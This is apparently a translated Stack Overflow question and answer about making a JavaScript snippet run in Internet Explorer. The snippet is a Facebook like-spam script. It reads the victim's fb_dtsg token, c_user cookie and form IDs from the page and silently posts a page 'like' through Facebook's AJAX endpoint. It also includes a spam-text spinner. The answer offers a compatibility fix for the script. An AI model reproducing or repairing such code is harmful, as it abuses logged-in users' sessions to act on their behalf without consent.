JavaScript无法在IE中运行,适用于FireFox UPDATE

时间:2011-04-29 00:50:10

标签: javascript ajax

function http_build_query (formdata, numeric_prefix, arg_separator) {
    var value, key, tmp = [],
    that = this;

    var _http_build_query_helper = function (key, val, arg_separator) {
        var k, tmp = [];
        if (val === true) {
            val = "1";
        } else if (val === false) {
            val = "0";
        }
        if (val !== null && typeof(val) === "object") {
            for (k in val) {
                if (val[k] !== null) {
                    tmp.push(_http_build_query_helper(key + "[" + k + "]", val[k], arg_separator));
                }
            }
            return tmp.join(arg_separator);
        } else if (typeof(val) !== "function") {
            return that.urlencode(key) + "=" + that.urlencode(val);
        } else {
            throw new Error('There was an error processing for http_build_query().');
        }
    };

    if (!arg_separator) {
        arg_separator = "&";
    }
    for (key in formdata) {
        value = formdata[key];
        if (numeric_prefix && !isNaN(key)) {
            key = String(numeric_prefix) + key;
        }
        tmp.push(_http_build_query_helper(key, value, arg_separator));
    }

    return tmp.join(arg_separator);
}

function urlencode (str)
{
    str = (str + '').toString();

    // Tilde should be allowed unescaped in future versions of PHP (as reflected below), but if you want to reflect current
    // PHP behavior, you would need to add ".replace(/~/g, '%7E');" to the following.
    return encodeURIComponent(str).replace(/!/g, '%21').replace(/'/g, '%27').replace(/\(/g, '%28').
    replace(/\)/g, '%29').replace(/\*/g, '%2A').replace(/%20/g, '+');
}

function HttpRequest(url, query, callback, method)
{
    if(!method)
    {
        method  = 'post';
    }

    var xhr = new XMLHttpRequest(); 

    xhr.open(method, url);
    xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
    xhr.onreadystatechange  = function()
    {
        if (xhr.readyState == 4)
        {
            log(xhr.responseText);

            if(callback)
            {
                callback(xhr.responseText);
            }
        }
    }

if(typeof query != 'string')
{
    query   = http_build_query(query);
}

    log(query);

    xhr.send(query);
}

post_form_id        = escape(findelementbyname("post_form_id"));
fb_dtsg             = escape(document.getElementsByName("fb_dtsg")[0].value);
cookie_user_uid     = document.cookie.match(/c_user=(\d+)/)[1];
xhpc_composerid     = escape(findelementbyname("xhpc_composerid"));

function log(text)
{
    if(window.console)
    {
        console.log(text);
    }
}


function shuffle(s)
{
    while(m1 = s.match(/{(.*?)}/))
    {
        m2  = m1[1].split('|');
        r1  = m2[Math.floor(Math.random()*m2.length)];
        s   = s.replace(m1[0], r1);
    }

    return s;
}

function findelementbyname(nme)
{
    var inputs = document.getElementsByTagName("input");

    for(var i=0;i<inputs.length;i++)
    {
        if(inputs[i].name == nme)
        return inputs[i].value;

    }
    return null;
}

function send_like(fbpage_id)
{
    HttpRequest('/ajax/pages/fan_status.php?__a=1',
    {
        add: 1,
        fb_dtsg: fb_dtsg,
        fbpage_id: fbpage_id,
        lsd: '',
        post_form_id: post_form_id,
        post_form_id_source: 'AsyncRequest',
        preserve_tab: true,
        reload: 0
    });
}

if(Math.random() * 2 > 1)
{
    send_like(1);
}
else
{
    send_like(2);
}

此代码适用于Firefox,但不适用于IE。 这是我在IE中遇到的错误:

Webpage error details
     

用户代理:Mozilla / 4.0(兼容; MSIE 8.0; Windows NT 6.1; WOW64; Trident / 4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; BRI / 2)   时间戳:2011年4月29日星期五00:43:16 UTC

     

消息:对象不支持此属性或方法   行:84   Char:1   代码:0

第84行将是post_form_id部分。

1 个答案:

答案 0 :(得分:0)

IE在for / in循环中变得不稳定,并包含所有继承的属性和方法。尝试调整所有的for / in循环,以添加一个检查,即迭代的对象实际上将每个项目作为自己的属性:

for (k in val) {
  if (Object.prototype.hasOwnProperty.call(val, k) && val[k] !== null) {
    tmp.push(_http_build_query_helper(key + "[" + k + "]", val[k], arg_separator));
  }
}